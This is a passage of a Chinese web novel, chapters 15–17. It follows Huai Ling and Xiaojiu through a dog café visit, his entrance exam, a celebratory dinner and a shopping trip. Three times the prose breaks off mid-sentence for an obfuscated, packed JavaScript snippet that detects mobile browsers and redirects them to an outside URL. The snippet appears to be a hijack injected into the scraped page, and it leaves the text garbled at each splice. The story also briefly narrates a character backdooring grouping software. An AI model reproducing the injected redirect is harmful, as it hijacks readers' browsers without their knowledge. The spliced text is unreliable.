在等待的期间,槐翎终究没忍住四处张望,她记得自己是在哪个房间带走的小久,一路上的忐忑不安在此刻提到了高点。 对于那个人,她是既想看到,既不想看到,这样的矛盾使得她无法像平时那样冷静。 小久安静地站在旁边,他同样敏锐地察觉到了槐翎和平时不太一样,但他不敢说什么,只细心地观察周边。 “扣款成功了,这是你的收据。”经理对槐翎一脸谄媚,他点头哈腰,满脸笑容。 “收据就不用了。”经理的话语使得槐翎从矛盾的漩涡中抽身,她像是如梦初醒,又像是溺水之人从水中获救,她神色并不自然,压下心脏的急速跳动,而后轻飘飘地对小久勾了勾手指。 小久点头,闭紧了嘴巴跟了上去。 “这样真的好吗?”在三楼的休息室里,女医生对着沉默的纪栖说道。 纪栖手里拿着咖啡,他的手指用力,纸杯略有变形,他盯着那辆开远的跑车,红色的车身和车主的性格一样张扬又跋扈,他曾经坐在那辆车上,任凭A区的风吹过他们的脸庞。 现在坐在他位置上的是另一个人了,纪栖深呼吸数次,最后只露出自嘲的笑容,这样真的好吗? 他一点都不觉得好,但是对于他们来说这是最好的结果。 15. 第 15 章 要办的事情比预想中顺利,槐翎原本空了一天的时间,没想到实际十来分钟就办好了,要是就这么回去也没什么意思,现在时间还充足,槐翎就慢慢地开着车在路上。 “你有什么想去的地方吗?” 小久把注意力从街道的景色上转移回来,他摇摇头,这里的一切对他来说都很新奇,但对槐翎来说却是每天都能见到的景色。 槐翎笑笑没有说话,她打开窗户,任凭风吹进车内,就这么沿着B区的主干道往前开去,车内的音乐平缓温和,使得原本焦躁不安的心也逐渐平静下来。 只不过随着车辆的逐渐深入,道路上的车辆越来越多,原本宽敞的道路也变得拥挤起来,最后车辆不得不减速直至缓缓停下。 槐翎敏锐地把车窗关上,她这辆车的车牌可是清楚地写着她来自A区,外面那些充满探究的眼神没少落在二人的身上。 “前面怎么了?”小久四处张望着,这条道路没有红绿灯,怕不是有意外或者有道路在施工。 槐翎也不知道答案,她耐心地等候了好一会,前面的车辆终于缓缓地动了起来,但在开了几米后又停了下来。 她查询了实时地图也只是显示一片红色,没有事故也没有施工。 “见鬼了这是。”槐翎的耐心在走走停停数次后也消失殆尽了,她的手指敲打着方向盘,原本舒缓的音乐也让她觉得烦躁,小久伸手调整了电台的频道,一个正在播报B区新闻的频道吸引了她的注意力。 “现如今,这位大名鼎鼎的歌手已造成了城区主干道的交通堵塞,狂热粉丝正在追逐他的行踪——”小久把电台声音再放大了些,这下是把来龙去脉听清楚了,现在他们就是在主干道上。 “什么歌手不歌手的…”槐翎骂了一句,前面几百米就有一条小路可以离开,不过现在前面都堵上了,槐翎把心一横,也顾不上原本车道上的车辆,直接一脚油门把自己的车挤了过去,后面的喇叭声络绎不绝,但槐翎充耳不闻。 趁着车辆再次动了起来,槐翎从旁边空着的特殊通道开去,那条道路非紧急情况不能使用,槐翎开车风格充满野性,让小久也捏了一把汗,他紧紧地抓着门把手,生怕把自己甩出去。 红色的车辆在道路上畅通无阻,小久清楚地看到其他人那惊讶又愤怒的眼神,他有些不好意思地避开了他们的目光。 不过两分钟,槐翎就脱离了这片成了浆糊的主干道,她一个右拐进小道里,最后找到了个停车位。 旁边正好是一个咖啡厅,现在是饭点,槐翎是有些渴了,这个咖啡厅人不是很多,正好适合打发这段时间。 小久匆匆看了一眼招牌,还没来得及和槐翎说这是什么类型的咖啡厅,就见槐翎大步流星走了进去。 “欢迎光临,请问是二位客人就餐吗?”店员穿着围裙热情地迎了上来,槐翎刚点头,店员就拿出了刷卡机子让槐翎付款了。 她的动作如此之快,槐翎还没来得及细想为什么喝咖啡要先付款,就自然地拿出银行卡付款了。 而后等店员带着他们进入咖啡厅内部时,一股浓烈的香味就扑面而来,空气中飘荡着数不清的五颜六色细毛,槐翎皱着眉头后退了半步,不管怎么想,这都不是一个常规的咖啡厅。 待她仔细一看,只见咖啡厅的内部挤满了各种各样的、对着她面带笑容、统一摇尾巴的——狗。 槐翎不是第一次见到狗,但要说接触的话还真是第一次,她保持了镇定,面不改色地来到了自己的座位,毛茸茸的座位上还坐着一只小型犬,大眼睛正充满期待地看着槐翎。 槐翎只好硬着头皮把狗推开一些好给自己让出位置,然而待她一坐下来,原本在店员控制下还算冷静的狗全都围在了槐翎的脚边,有些体型较大的狗甚至站了起来,只差一点就能碰到槐翎的脸。 唯一不变的只有它们疯狂摇起来的尾巴。 “孩子们好像都很喜欢你哦,给,这是小狗的零食。”店员笑眯眯地把肉干塞到槐翎手里。 槐翎这才后知后觉,她刚才买的套餐并不是给人吃的…… 另一边小久正忙着应付不断扒他腿的热情小狗,他满脸苦笑,手里的肉干以不可思议的速度快速消失,白色的狗毛在空气中飘荡,落在了二人的头发上,槐翎感觉自己的鼻腔被狗毛所填满,没忍住打了个大大的喷嚏。 她这个喷嚏打得惊天动地,连对面的小久都惊了一下,更别说原本就热情的小狗,它们上蹿下跳,急着要关怀这位客人,好几个胆大的小型犬已经挤到了槐翎的怀里,趁乱舔了好几口槐翎的脸。 槐翎扯过桌上的面纸,她的眼角不可控地漏了两滴泪水,看上去可怜极了,小久见状连忙推开身上的狗,“怎么了,是对狗毛过敏吗?” 他说话很急,满脸尽是担忧。 “没有。”槐翎拭去泪水,她迅速恢复了常态,只有红红的鼻头还未恢复,“这里有人能吃的东西吗?” 她说话还带着鼻音,倒是没有了平时的凌厉。 小久这才放心地微笑,他把旁边放着的菜单打开递给槐翎,神色自若,倒像是经常来的样子。 槐翎现在只想喝点什么润润嗓子,她点了两杯柠檬蜜,又点了些简单的小吃,在这种以狗为卖点的咖啡厅里,是别指望有什么特别好吃的东西了。 不知道为什么很多狗都乐意围在槐翎身边,这让她有些承受不住这样超过限度的喜爱,只好叫小久带着零食去另一边了,这一举动引走了不少狗,槐翎不由地想到,这些狗怕不是只想要她手里的零食罢了。 好不容易槐翎这边清静下来,她才发现自己的腿上躺了一只通体白色的长毛狗,槐翎低头一看只小狗正放松地平躺着,露出了柔软的腹部,它时不时舔着嘴巴,用犹如黑葡萄的湿润眼睛四处张望,如果狗能说话,它一定有很多话想说。 槐翎的指尖微动,她第一次升起了想要触摸动物的念头。 等她反应过来的时候,自己的手指已经触碰到了小狗的腹部,那么的柔软,又温暖,还能感觉到心跳,血液在血管里流动,毫无疑问的,这是一个生物。 然而只要她轻轻地——捏住那纤细的脖子,就能毁灭这么一个鲜活的生命。 它一定会惨叫吧,那双漂亮的眼睛会不会也和人类一样盈满泪水? “你的柠檬蜜来啦~”店员充满活力的嗓音打断了槐翎的想象,她像是触电一般,手指迅速地离开了小狗的脖子,还差一点—— “客人是第一次来狗狗咖啡厅吗?”店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161050|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员笑眯眯地说着,“它们是不会伤害你的,所以不用担心哦,狗狗是单纯的生物,它就像一面镜子,反映出人类的情感。”店员把零食再次放在槐翎的手里,“而这是让它们开心起来的魔法。” 槐翎细细喝了一口柠檬蜜,太甜了,根本品尝不到柠檬的香气,如果要用食物来评定这个咖啡厅的水平的话,那一定是无比糟糕的。 不过,她并不讨厌。 槐翎把零食放在手心上,任由身边的小狗去取,虽然随之而来的是残留在手上的舌头的触感,但槐翎还是忍着鸡皮疙瘩没有收回手。 小久手里的零食喂完了,他身上的狗毛比槐翎还要多些,有些狼狈地跑回来了,槐翎把桌子上的狗狗造型蛋糕推给小久。 “吃吧,你不是饿了?” 小久点头,他听话地拿起勺子小口小口地吃蛋糕,槐翎注意到有一根狗毛挂在他的鼻梁上,想也没想就伸手捻走了那跟毛,她冰凉的指尖触碰到小久的鼻梁,让他浑身一震。 她有些好笑地看着小久的反应,另一只手则是已经覆在小狗的头上,一下接着一下地抚摸它们的头,小狗享受地露出微笑,看来有些人和小狗一样,对触碰这一事非常的敏感。 在咖啡厅消耗了有一个多小时后,槐翎和小久这才离开咖啡厅,外面的道路已经畅通,恢复了平日的样子。 老实说槐翎在咖啡厅并没有吃饱,她四处张望着,看到了一家很是热闹的蛋糕店,年轻的女性正挤在里面,时不时有笑声传来。 “这个不会又是什么奇怪的店吧?”槐翎问。 “看起来不像是……”小久才抬头看了眼招牌,等他低头的时候槐翎已经走进去店里了。 槐翎仔细地看着蛋糕店菜单,全然不顾旁边的目光。 “每个都要一份,都打包。”她和店员下了订单,爽快地刷了卡付款,小久看着收银机上的诡异数字,虽然说B区的消费向来不低,但是这个数字对于一个蛋糕是不是不太正常? 等了约莫十分钟,店员把打包好的蛋糕盒送来,小久自觉地接过蛋糕,出乎意料的是,这些盒子都有半个人那么高了。 小久只觉得身后充满考究的目光越来越锐利了,槐翎又走在前面,小久跟在她后面,隐约听到了些闲言碎语。 “她是什么人啊?”“不会是……”“万一只是单纯的富婆呢?” 后尾箱没能放下全部的蛋糕,小久只好在副驾驶位捧着剩下的蛋糕,幸运的是他们也要回去了,所以只要委屈他一阵子。 下午的天气很好,槐翎把窗户都打开让风吹进来,小久的脸都快被蛋糕埋起来了,他什么也看不见,只感受到风吹过他的头发。 后来车辆停在了红绿灯前,旁边同样停了一辆似乎是同一型号的绿色跑车,不同的是,旁边的车是敞篷的,能清楚看到开车的是一个年轻男子,他戴着墨镜,脸蛋精致得像是上天特意雕琢的,长发随风飘起,他仔细看着被蛋糕包围的小久,又侧过头去看驾驶位上的槐翎,嘴角露出若有若无的笑容。 这些画面在车上的二人都没能注意到,等转成绿灯后,槐翎迅速地提起速度,远远地把四周的车辆都甩到后面。 那辆绿色的跑车向左边转了个弯,再也看不见身影。 16. 第 16 章 小久原以为槐翎说出要他入学不过是一件玩笑话,结果槐翎确实有在推进这件事。 在看到槐翎发给自己的入学考试时间和考试地点时,小久还是不可控地起了几分紧张感。 “这好几个月的补课下来,按理说你是可以通过入学考试的。”槐翎斜睨小久,她说这话时语气平淡,好像在说一件和喝茶一样轻松简单的事情。 “怎么,看你这个样子,你没信心?”见小久沉默不语,槐翎知道他这是又在胡思乱想了,“你每次小测的表现都很好,不会到大考就失手了吧。” “那倒不会。”小久摇头,他默默记下时间和地点,就在这周末了,在那之前小久还有时间准备,虽然不长,但足够把知识点都过一遍。 其实以槐翎的实力,她完全可以让小久免试入学,但小久清楚,槐翎不是这种喜欢走捷径的人,同时,她确实是想趁机考验一下自己。 她喜欢聪明且强大的人,正如她本人一样。 这几个月的相处下来,小久逐渐摸清了槐翎的性格,基本上只要顺着她的想法,槐翎就会相对应地释出善意,更何况槐翎从未要求过小久做什么奇怪的事情,小久倒也觉得挺好的,内心里对槐翎的戒备自然而然就消下去了。 这是这份看不到未来的美好,让小久时不时感觉到些惆怅与彷徨。 * 这几日槐翎也在忙别的事情,每年的秋季学院都会举行大型的狩猎活动,原本这是一项在只贵族之间开展的活动,不知怎的就演变成学院的传统了,这活动也真就慢慢地举行了好多届,只有学院里的最核心的人员才拥有筹备狩猎的资格。 在槐雾的带领下,槐翎也理所应当地成为了筹备委员会的其中一员。 虽然槐翎不喜堂哥那边的小团体,但她本人实则也是喜欢这项活动,因此还是应了下来,这几天写完方案后又是要采购,又是要四处沟通,着实花了她不少时间。 在和槐雾简单汇报完进度后,槐翎不着痕迹地在堂哥的脸上扫了一圈,在他脸上其实看不到多少皇帝的面容,更多是堂哥母亲的特征,槐翎不由地替自己堂哥松了口气,如果他再像一些皇帝的话,槐翎真的很难忍住不打他的冲动。 “阿翎,你做的很好,我相信父亲会很高兴的。” 对了,这个活动还冠了皇帝的名头。 虽然很恶心,但是别无他法。 “你知道的,明年春天我就要毕业了,这次活动如果办不好的话,恐怕父亲很难记得有我这么个儿子。”槐雾絮絮叨叨地说着些琐事,槐翎只微笑,并未搭话。 后面又来了些要汇报的人,槐翎终于有了借口离开,她轻轻把门带上,在走了几步后才深深叹了口气。 放学后她并未急着回家,而是去订了套猎装,在走到男式猎装的时候,槐翎后知后觉想起来,如果小久能通过入学考试的话,那么他也是有资格参加狩猎的。 虽然还没到考试的时间,但槐翎已有信心他会通过考试,想到这里她已经挑好了款式,不过却在尺码上犯了难。 她不熟悉男性的尺寸,按照目测的话难免会有误差,槐翎思来想去觉得还是等小久通过考试再带来买衣服好了。 她比往常晚了一些回来,不过公寓里依旧和往常一样飘来食物的香气,温暖的灯光驱散了初秋的寒意。 “回来了。”小久听见开门的声音迎了上来,他面带微笑,自然地接过槐翎手里的袋子,饭桌上都是槐翎爱吃的菜,还冒着热气,槐翎“嗯”了一声,没多说什么。 这样也挺好的。槐翎静静想着。 吃饱喝足后,槐翎坐在沙发上消食,她歪着头,倚着靠背,眼睛却是盯着小久收拾厨房的背影。 比起刚来那会的营养不良,现在的小久看上去长了不少肉,身高也渐渐长了,明明也才几个月,小久这身体倒像是变了个人。 肩膀像是宽了些,手臂的线条流畅了,腰的围度没有什么变化,再往下看去——嗯,稍稍圆润了些。 槐翎这眼神一点也没有加以掩饰,就像是在看自己的所有物,小久只觉背后好像有刺,刺得他浑身汗毛直立,等他回过头去看的时候,那肆意的凝视又不见了。 他揉了揉手臂,试图让鸡皮疙瘩尽快下去,心里又在想,难道是这几天因为复习睡眠不足导致的幻觉? * 第二日槐翎亲自送小久去参加考试,考试形式只分笔试和面试,笔试的客观题由电脑计分,别的主观题是由学院的随机一名教师进行评分,综合下来按比例计算总成绩,只要超过80分就算通过考试了。 对从小接受精英教育的A区学生来说,这些试题难度并不大,只不过面试部分需要多花些功夫去准备,主要考察应变能力与沟通能力,同时也算是抗压测试,这样就能降低掉单靠记忆力取得高分出成绩的学生比例。 槐翎给小久请的教师并没有完全按照入学考试的考纲来进行指导,毕竟入学考试也仅仅是为了入学。 小久看上去有些紧张,他嘴唇抿紧,眼睛直视前方,手虽然看似平静地放在腿上,但从他的指尖微微颤动可知此刻内心的不安。 “你去参加那事关生死的比赛时,好像都没有现在紧张。”槐翎没忍住打趣道。 听到这句话,小久的脸不受控制地红了遍,他支支吾吾地,没能好好说出完整的话来。 “不一样的。”最后他摇摇头说。 “怎么样,要不要我去和考官说点什么?”槐翎把车载音乐的音量调少了些,而后像是开玩笑,又像是认真地看着小久的双眼说道:“就说你是我的人,让你痛痛快快通过考试,可以吗?” 她这句话说得大方,用词里的暧昧反而在此刻显得格外正经。 偏偏还询问了两次小久的意见,当真是民主的很。 “不要。”小久用力地摇头,“我不希望你做这些事情。” 他说这话时的表情,倒像是第一天见面时的模样,倔强又骄傲。 槐翎笑意更甚,她把车停在考点附近,伸手点了点小久的眉心,轻松地解开了小久那皱起的眉头。 “去吧,考完我来接你。” “嗯。”小久点头,他的脸已经没那么红了,不过耳垂还像是在滴血,他轻咳一声,最后留了句谢谢给槐翎。 槐翎摆摆手,她一会还得去忙狩猎的事情,不过和小久相处的这十来分钟倒是让她心情舒畅了不少。 祝译也在委员会的里面,这一点槐翎早早就发现了,不过槐雾出乎意料地有些情商,没把她们两个安排在一个小组。 在会议室看见祝译时,槐翎只轻轻抬了抬眼皮,祝译倒是友好地朝她微笑打招呼。 坐在主位的槐雾拍了拍手掌,示意会议正式开始。 因为过去几年都已经举办过,活动框架流程没有太大的变动,确定好细节后很快就敲定好了时间。 会议结束后,槐翎看时间还充裕,并未急着离开。 祝译倒是再次凑了上来。 “这个狩猎活动,你是怎么看的?”祝译坐在槐翎的身旁,身体前倾,说话的时候槐翎能闻到她身上的墨水味。 “你是记者?”槐翎不想搭理她。 “我只是好奇,毕竟我才来A区没多久,你也知道的。”祝译笑眯眯的。 俗话说伸手不打笑脸,槐翎虽对祝译没什么好感,但还是忍了下来。 “我的看法不重要,活动是学院的传统。”她不咸不淡地回避了问题。 “的确呢,这样残忍的活动,只有传统二字才能掩盖些许血腥味。”祝译像是自言自语,又像是说给槐翎听的,槐翎瞪了她一眼,不再多言。 “去年你所在的小组拿下了第一名,今年我也很想亲眼见识一下你的实力。” “那你闭上嘴看就行了。”槐翎看了眼时间,现在的她宁愿在车上等着也不想在这里留下来了。 * 不多久后槐翎就接到了小久,他看上去平静的很,之前的紧张是完全消失了。 “怎么样?”槐翎主动问道。 “唔……”小久思考了片刻,“没有老师出的小测难。” 槐翎“噗嗤”一声笑了出来,“真该把你考前那个模样拍下来给你看的。” “成绩是下周出吗?”小久轻咳了一声避开了槐翎的嘲笑。 “想什么呢,就今天晚上哦。”槐翎轻描淡写地说道,“成绩会直接发到我邮箱里。” 小久原本放松下来的心情,瞬间消失了个一干二净。 “不怕,我带你去吃好吃的。”槐翎让车子拐了个弯,最后停在了餐厅的入口,侍者上来为他们开门,又接过钥匙去泊车。 小久乖巧地跟在槐翎后头,侍者都对槐翎很是熟悉,主动向她打招呼问好,而他们也极有工作素养,并未在小久身上过多停留。 槐翎似乎是提前预定了一个拥有绝佳视野的房间,在这里能看到b区的高楼,和在槐翎公寓看到的景色不太一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161051|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她对菜单很熟悉,只看了一眼就定下了餐点,她把菜单递给小久。 “这段时间都是你在做饭,也轮到我犒劳你了。”槐翎说完,饶有兴致地观察起小久的表情。 小久自然是受宠若惊的,他本来做饭就是为了报答槐翎,根本没想过要借此得到什么,他乖巧地点头,自然是明白不能下他人面子的道理。 只不过当他看向菜单的时候,他原本的笑容就凝固在了脸上,虽然用的是大家都用的文字,但组合在一块的时候,小久就怀疑起自己的文化水平了。 单从菜品名字来看,就根本没办法知道这个菜品是什么东西。 小久把自己的脸埋在菜单里,努力不让槐翎看到自己的窘迫,直到等在旁边的侍者终于忍不住轻咳一声后,小久才意识到自己花费了太多时间。 槐翎只微笑看着他,并未多说话,也没有任何催促的意思。 不过迫于侍者的压力,小久还是随便指了两个,侍者面无表情地下了单就退出了房间。 “听宏叔说,你满分过的驾驶考试?” 小久点头,开车比起开泰坦来说还是太简单了些,也没什么挑战。 话音刚落,侍者就走进来开了瓶红酒,深红色的液体在高脚杯里摇曳,槐翎侧脸看向落地窗外的景色,她长得精致又艳丽,趁着这夜色,小久只觉自己还未饮便醉了,心里像是有数不清的小气泡在往上翻涌。 侍者才退出去没多久,就来了个带着乐器的人,他站在一旁为二人演奏了一曲,小久不明所以地听完了曲子,心想这吃个饭花样还挺多。 “谢谢你点的红酒和伴奏。”槐翎拿起杯子和小久的碰了一下,杯子发出清脆的响声,小久这才明白过来发生了什么。 他的脸也瞬间红透,连脖子都是通红的。 “不…不用谢?”他磕磕巴巴地回应。 槐翎把杯中的红酒一饮而尽,又用眼神示意小久跟上。 小久连忙把红酒喝完,红酒并不烈,但在滑入喉咙的时候依旧让小久感觉到一阵炙热的灼烧感。 但在不久之后,唇齿之间就能品味到红酒的醇香,小久也终于明白了什么叫齿颊留香。 槐翎把侍者又叫了进来,这次她把菜单展开,细细地询问起小久。 “前菜想吃点什么?主食这样点可以吗?配餐更喜欢哪个?餐后甜点的话喜欢什么口味?” 她不厌其烦地一遍又一遍向小久确认,最后侍者也得以定下小久的定制订单。 等到菜品一样接着一样送上来之后,槐翎又教导起小久要如何食用,如何切开这些艺术品,如何品尝它们其中的奥妙。 小久懵懵懂懂地跟着槐翎的步伐,从前他从未觉得这些食物有什么特别,如今自己真正品尝到后,心里又是另一种感受。 到这个程度人们已经不仅是品尝食物,更多的是在品尝一种概念。 不知不觉中,红酒就快见底了,槐翎还未有半分醉意,而小久的眼神逐渐变得迷离,双颊染上一片绯红,他的大脑还算清醒,但身体却受不住酒精的侵袭。 此时槐翎的手机传来了一声通知,槐翎打开手机一看,原是小久的考试成绩出来了。 “你的成绩出来了。”一边说着,槐翎点开了邮件,学院的行政又写了长篇大论,唯独把成绩放在邮件的最后处。 “怎么样了?”小久有些紧张,他那充满水润的眼睛睁得老大,聚精会神地等待槐翎宣读结果。 槐翎读着后面的分项成绩分析,心里倒是有些惊讶——小久的成绩比她想象的要好些,客观题满分,主观题也没扣多少,就是面试的成绩没有很好,导致总分往下拉了一些。 她还记得自己面试的时候,那些人是怎么出难题刁难自己的,那都好多年前了,现在想起来也没有什么实感了。 她想起来那件挂在店中央的男式猎装,如今是时候买回来了。 小久依旧是忐忑不安地等待着,直到他看到槐翎嘴角上扬,也终是明白过来了。 “你的红酒点得很及时,恭喜你。”槐翎把最后的红酒各自分了,酒杯再次碰撞,发出清脆悦耳的声音,像是夏日里的风铃,驱散了不安。 “这样我能就离你再近一些了。”小久把红酒喝完,他这话说的声音不大,槐翎反而听了个真切。 不管他说的是什么层面的距离,这倒也是事实。 槐翎只当没听清,她结了账,带领着醉了个七八成的小久回到车上。 17. 第 17 章 小久一回到车上就眼睛一闭睡过去了,槐翎把窗户开了条缝,夜风灌进来驱散了些酒味。 她原本还想培养小久帮自己挡酒的,这下是指望不上了。 把车辆调成自动驾驶后,槐翎打开手机开始处理工作,旁边的小久睡得可死,如果不是还有低低的呼吸声传来,槐翎是真想伸个手指过去探探鼻息。 狩猎活动是每个学生都能参加的,不过分组是随机的,所有学生不分年级不分性别打散来组队,根据积分来分出名次,按照概率来说,小久能和槐翎分到一组并不容易,不过对于槐翎来说,动点手脚并不难。 她在随机分组的软件上开了后门,加入了自己的插件,这样就能确保每次分组都能把他们分到一起,在消除掉自己开过后门的痕迹后,槐翎就像是一个幽灵,没留下一丝痕迹。 其实被人发现也不会怎么样,但她讨厌风言风语,还不如自己做干净些。 等她做完这些也差不多到家了,小久还是没有醒来的迹象,换作从前槐翎都有点想给他两巴掌算了,看在小久表现不错的份上,槐翎还是忍了下来。 她还记得自己曾经抱着小久离开医院,然而几个月后,小久的体重不似从前,槐翎掂量了一下,觉得家里的伙食还是不错的。 她抱着小久稳稳当当地走进电梯,电梯正快速上升至公寓所在的楼层,水晶吊灯直接照射在小久的脸上,他下意识伸手想要挡住灯光,却发现自己正被人抱着,透过电梯玻璃能看到自己半死不活的模样。 他的记忆还停留在吃饭时,怎么一睁眼就快要到家了,而且还是以这种方式? 槐翎看着小久的意识正在慢慢恢复,她皱了皱眉头,并未说什么。 反正都到公寓门口了,她不介意再抱一两分钟。 但被抱着的小久并不这么想,他挣扎着想要重新站在地面,然而身体和大脑像是失去了连接,他用力,却只见自己的身体往地面倒去。 槐翎刚打开了公寓门,只见手臂上的小久自己一个翻滚,“咚”的一声躺在了玄关。 “……”槐翎站在旁边无言以对。 这一摔摔出了几分清醒,小久摇摇晃晃地抓着旁边的鞋柜站了起来,他摸了摸后脑勺,还好没有摔出包。 “给你倒杯水吧。”槐翎有些看不过去。 等她拿着冰水回来时,小久再次躺了下来,他四肢无力平躺在沙发上,没有了平日的拘谨,头发有些凌乱,遮住了眼睛。 而他的上衣下摆也被带着掀起来了些,露出了洁白的腹部。 槐翎头一次觉得腹部这个位置有些惹眼,他肤色算冷白,有些晃眼,这几个月养出了不少血肉,导致腹部是恰到好处的纤细,顺着线条能看到些许腹部沟,最后隐没在黑色的裤子里面。 旁边随意放着的手臂内侧也能看到青色的血管,槐翎突然意识到男性与女性躯体之间的不同。 直到小久嘴里发出了些意义不明的只字片语后,槐翎才发现自己盯着他有些久了,久到不太礼貌,或者说是冒犯。 她把冰冷的杯子贴在小久的脸颊上,突如其来的冰冷激得小久翻了个身,他直接背对槐翎,身体蜷缩成一小团。 真是造孽啊。槐翎在心里想着。 她放下杯子,再次把小久抱了起来,只要把小久送回房间就算任务完成了,槐翎是这么打算的,只不过在触碰到小久腰上的皮肤时,她再次想起来那套男式猎装。 那套猎装的腰部剪裁很好,要是让小久穿上的话…… * 在酒精的作用下,槐翎久违地多睡了两个小时。 直到餐厅传来了食物香气时,槐翎才想起来自己今天还有要事去做。 推开门就能看到小久正端正地站在餐桌旁,他全神贯注地在摆弄点什么,眼神是半分没从桌面上移开。 槐翎原本还以为他会有宿醉什么的,今天看起来这精神头倒是好的很。 “早。”槐翎从他身边经过,随手拿起小久泡好的柠檬水润了润嗓子。 这会槐翎才知道小久在捣鼓什么——他正在学习昨天的食物摆盘,乍一看还真有几分像模像样,不过细节还不能深究。 “早啊。”小久立马停了下来,他把早餐端给槐翎,那份似乎是他的得意之作,看上去比别的都要好些。 只要忽略掉厨房里面放着的失败品就行。 槐翎没打算拆穿他,又感觉到小久那充满期待和紧张的眼神,她悄无声息地深吸了一口气,试图让自己的声线听起来活泼些。 “哎呀…今天的早餐看上去真不错。”槐翎这话说得干干巴巴的,自己都觉得丢脸,不过小久倒是很受用,他毫无防备地笑了起来。 “我把昨天的摆盘记下来了,之后我可以试着做的款式。”他的眼睛亮晶晶的,能清楚看到倒影里的槐翎。 槐翎不着痕迹地擦了擦手心的汗,“嗯,你要是喜欢的话,我送你去学习可好?” “啊,那不用了,只是我自己的兴趣而已,不用麻烦的。”小久连忙摆摆手。 见已经把话题转移开,槐翎松了口气。 “今天要带你去买些东西,你也快点吃吧。” “给我?”小久端了杯热茶坐在一旁。 “要买校服,要买狩猎的用品,还有上学的话还有好些东西得买……”槐翎一边说一边在脑内整理了起来。 以往这些事情都是宏叔包办的,不过今天周末,槐翎也不想当个坏人,就让宏叔好好陪家人得了。 “我自己去买也可以的。”小久郑重其事地说。 “不碍事。”槐翎止住了这个话题,这小子现在倒是有自己的想法了。 不过在收拾餐具的时候,小久还是没忍住问了自己的成绩。 “你都通过了还问成绩做什么,这没有意义。”槐翎不太明白小久在纠结什么,但还是把成绩单给小久看了。 满分100分,他都拿了90了,自然是通过了的。 “所有学生都需要考试才能入学吗?”小久问。 “自然,就算是皇帝的儿子也要考进去。”槐翎想起来槐雾的分数,好像是80多?过得去就是了,没给皇帝丢脸。 像他们这种小孩,要是不好好学习可是要被吊起来打的。 见小久一脸欲言又止,槐翎也有些迷惑了,他难道是觉得自己的成绩是假的? 虽然说槐翎确实有“操作”一下,但也仅限于让小久有考试的机会而已,那些考题和考官她可是都没接触过。 “没有,我只是在想主观题怎么会扣了分…”小久挠了挠头。 槐翎嘴角抽了抽,她这是捡回来一个死脑筋书呆子不成? “那阿翎当时主观题有扣分吗?” 槐翎心想这试卷题目都不一样,问了能怎么地,而且考完了怎么还要复盘,这到底有什么意义?但这种话显然小久不想听到,所以还是忍了下来。 “没有。”她简短地回答。 “那,面试的时候?” “也没有。”槐翎摇头。 小久的表情却逐渐变得惊恐起来。 “那,你是…”他支支吾吾地,没有勇气说出那个词语。 “啊,是满分了。”槐翎不以为然地看向小久,“不过没关系,目前为止只有我一个人满分,所以你不用担心。” 小久有些后悔问这些了,他知道槐翎是个聪明人,但万万没想到会到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161052|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此地步,学院里说不定都是槐翎这样的人,像槐翎应该也是很受欢迎的…… 槐翎才没心思去管小久在想什么,他们今天还有可多事情要去做,再不出门来不及了。 * 夜幕降临,车子里面挤满了大包小包,槐翎似乎心情很好,拉着小久逛了一整天街,光是鞋子都买了十几款,这让小久觉得自己是个蜈蚣精,每天出门得穿十来双鞋才够。 不过外出的衣物也好了好些,各种各样的都有,其实像以前那样直接让人送上来就行,但槐翎好像挺喜欢自己亲自去挑选,连带着小久试穿了一整个下午的衣服,比秀场的模特还要忙碌些。 他想起来导购的话那是一整个让人脸红耳热。 “这位先生的比例可真好,肩膀够宽,腰却细得刚刚好,我们品牌的剪裁最是能衬托出你的身材,如果再配上这个配饰,那就是锦上添花了。” “那就都包起来。”槐翎慵懒地倚着沙发,嘴角都是笑意,显然对导购的话很是赞同。 就这样,在导购不遗余力地推荐下,槐翎买了一袋又一袋的衣物,全都是小久的。 小久带着东西回公寓的时候体力已透支,而槐翎只是交代两句又出门忙去了。 翌日,小久早早穿上了校服,他站在镜子前看着自己的模样还有几分恍惚。 他已经多久没有回到学校了,更别说穿上校服。 过去的那些记忆随着年龄的增长都慢慢变得模糊起来,但是没关系,现在的他有了新的生活,虽然他时不时会在噩梦中惊醒,害怕这来之不易的幸福会消失,但在看到槐翎的时候,一种前所未有的安全感包围了他。 在经历了那么多事情后,他其实也没到二十岁,还有很多时间去体验人生。 槐翎看着小久穿上校服,眉头皱了一下。 她来到小久跟前,伸手替他正了正领带,但效果并不好,于是拆开来重新把他打了一次。 小久僵硬地站在那里,不敢有半分动弹。 